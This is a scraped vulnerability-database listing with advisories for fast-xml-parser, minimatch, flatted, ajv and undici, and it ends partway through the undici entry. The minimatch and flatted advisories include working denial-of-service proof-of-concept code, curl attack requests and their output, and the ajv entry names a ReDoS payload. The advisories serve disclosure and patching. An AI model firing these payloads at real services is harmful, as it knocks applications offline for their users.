| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Quay 3 |
cpe:/a:redhat:quay:3 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
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"timestamp": "2026-03-13T16:20:15.479714Z",
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"vendor": "Red Hat",
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"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
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"product": "Cryostat 4",
"vendor": "Red Hat"
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CVE-2026-33036 (GCVE-0-2026-33036)
Vulnerability from cvelistv5 – Published: 2026-03-20 05:17 – Updated: 2026-03-25 13:57
VLAI
EPSS
VEX
Title
fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)
Summary
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Versions 4.0.0-beta.3 through 5.5.5 contain a bypass vulnerability where numeric character references (&#NNN;, &#xHH;) and standard XML entities completely evade the entity expansion limits (e.g., maxTotalExpansions, maxExpandedLength) added to fix CVE-2026-26278, enabling XML entity expansion Denial of Service. The root cause is that replaceEntitiesValue() in OrderedObjParser.js only enforces expansion counting on DOCTYPE-defined entities while the lastEntities loop handling numeric/standard entities performs no counting at all. An attacker supplying 1M numeric entity references like A can force ~147MB of memory allocation and heavy CPU usage, potentially crashing the process—even when developers have configured strict limits. This issue has been fixed in version 5.5.6.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-776 - Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/NaturalIntelligence/fast-xml-p… | x_refsource_CONFIRM |
| https://github.com/NaturalIntelligence/fast-xml-p… | x_refsource_MISC |
| https://github.com/NaturalIntelligence/fast-xml-p… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NaturalIntelligence | fast-xml-parser |
Affected:
>= 4.0.0-beta.3, < 5.5.6
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GHSA-23C5-XMQV-RM74
Vulnerability from github – Published: 2026-02-26 22:07 – Updated: 2026-02-26 22:07
VLAI
Summary
minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Details
Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a\|b) |
/^(?:a\|b)*$/ |
*(*(a\|b)) |
/^(?:(?:a\|b)*)*$/ |
*(*(*(a\|b))) |
/^(?:(?:(?:a\|b)*)*)*$/ |
*(*(*(*(a\|b)))) |
/^(?:(?:(?:(?:a\|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a\|b)) |
a x30 + z |
~68,000ms |
*(*(*(a\|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a\|b)))) |
a x25 + z |
~116,000ms |
*(a\|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a\|b) |
0ms |
| 2 | *(*(a\|b)) |
4ms |
| 3 | *(*(*(a\|b))) |
270ms |
| 4 | *(*(*(*(a\|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
Terminal 1 -- start the server:
node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"}
time_total: 63.022047s
Terminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27904"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:07:15Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n let pat = \u0027a|b\u0027\n for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n [\u0027*(*(*(a|b)))\u0027, 15], // ~270ms\n [\u0027*(*(*(a|b)))\u0027, 17], // ~800ms\n [\u0027*(*(*(a|b)))\u0027, 19], // ~2400ms\n [\u0027*(*(a|b))\u0027, 23], // ~260ms\n [\u0027*(a|b)\u0027, 101], // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
"id": "GHSA-23c5-xmqv-rm74",
"modified": "2026-02-26T22:07:15Z",
"published": "2026-02-26T22:07:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}
GHSA-25H7-PFQ9-P65F
Vulnerability from github – Published: 2026-03-13 15:40 – Updated: 2026-03-13 15:40
VLAI
Summary
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Details
Summary
flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
Impact
Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.
Affected Versions
All versions prior to the PR #88 fix.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flatted"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32141"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T15:40:42Z",
"nvd_published_at": "2026-03-12T18:16:25Z",
"severity": "HIGH"
},
"details": "## Summary\n\nflatted\u0027s `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.\n\n## Impact\n\nDenial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.\n\nflatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.\n\n## Proof of Concept\n\n```javascript\nconst flatted = require(\u0027flatted\u0027);\n\n// Build deeply nested circular reference chain\nconst depth = 20000;\nconst arr = new Array(depth + 1);\narr[0] = \u0027{\"a\":\"1\"}\u0027;\nfor (let i = 1; i \u003c= depth; i++) {\n arr[i] = `{\"a\":\"${i + 1}\"}`;\n}\narr[depth] = \u0027{\"a\":\"leaf\"}\u0027;\n\nconst payload = JSON.stringify(arr);\nflatted.parse(payload); // RangeError: Maximum call stack size exceeded\n```\n\n## Fix\n\nThe maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.\n\n## Affected Versions\n\nAll versions prior to the PR #88 fix.",
"id": "GHSA-25h7-pfq9-p65f",
"modified": "2026-03-13T15:40:42Z",
"published": "2026-03-13T15:40:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WebReflection/flatted/security/advisories/GHSA-25h7-pfq9-p65f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32141"
},
{
"type": "WEB",
"url": "https://github.com/WebReflection/flatted/pull/88"
},
{
"type": "WEB",
"url": "https://github.com/WebReflection/flatted/commit/7eb65d857e1a40de11c47461cdbc8541449f0606"
},
{
"type": "PACKAGE",
"url": "https://github.com/WebReflection/flatted"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "flatted vulnerable to unbounded recursion DoS in parse() revive phase"
}
GHSA-2G4F-4PWH-QVX6
Vulnerability from github – Published: 2026-02-11 21:30 – Updated: 2026-03-02 21:58
VLAI
Summary
ajv has ReDoS when using `$data` option
Details
ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., \"^(a|a)*$\") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation.
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ajv"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-alpha.0"
},
{
"fixed": "8.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ajv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69873"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-17T16:38:57Z",
"nvd_published_at": "2026-02-11T19:15:50Z",
"severity": "MODERATE"
},
"details": "ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\\\"^(a|a)*$\\\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.",
"id": "GHSA-2g4f-4pwh-qvx6",
"modified": "2026-03-02T21:58:39Z",
"published": "2026-02-11T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/pull/2586"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/pull/2588"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/pull/2590"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6991"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5"
},
{
"type": "WEB",
"url": "https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-2g4f-4pwh-qvx6"
},
{
"type": "PACKAGE",
"url": "https://github.com/ajv-validator/ajv"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/releases/tag/v6.14.0"
},
{
"type": "WEB",
"url": "https://github.com/ajv-validator/ajv/releases/tag/v8.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "ajv has ReDoS when using `$data` option"
}
GHSA-2MJP-6Q6P-2QXM
Vulnerability from github – Published: 2026-03-13 20:07 – Updated: 2026-03-13 20:07
VLAI
Summary
Undici has an HTTP Request/Response Smuggling issue
Details
Impact
Undici allows duplicate HTTP Content-Length headers when they are provided in an array with case-variant names (e.g., Content-Length and content-length). This produces malformed HTTP/1.1 requests with multiple conflicting Content-Length values on the wire.
Who is impacted:
- Applications using undici.request(), undici.Client, or similar low-level APIs with headers passed as flat arrays
- Applications that accept user-controlled header names without case-normalization
Potential consequences:
- Denial of Service: Strict HTTP parsers (proxies, servers) will reject requests with duplicate Content-Length headers (400 Bad Request)
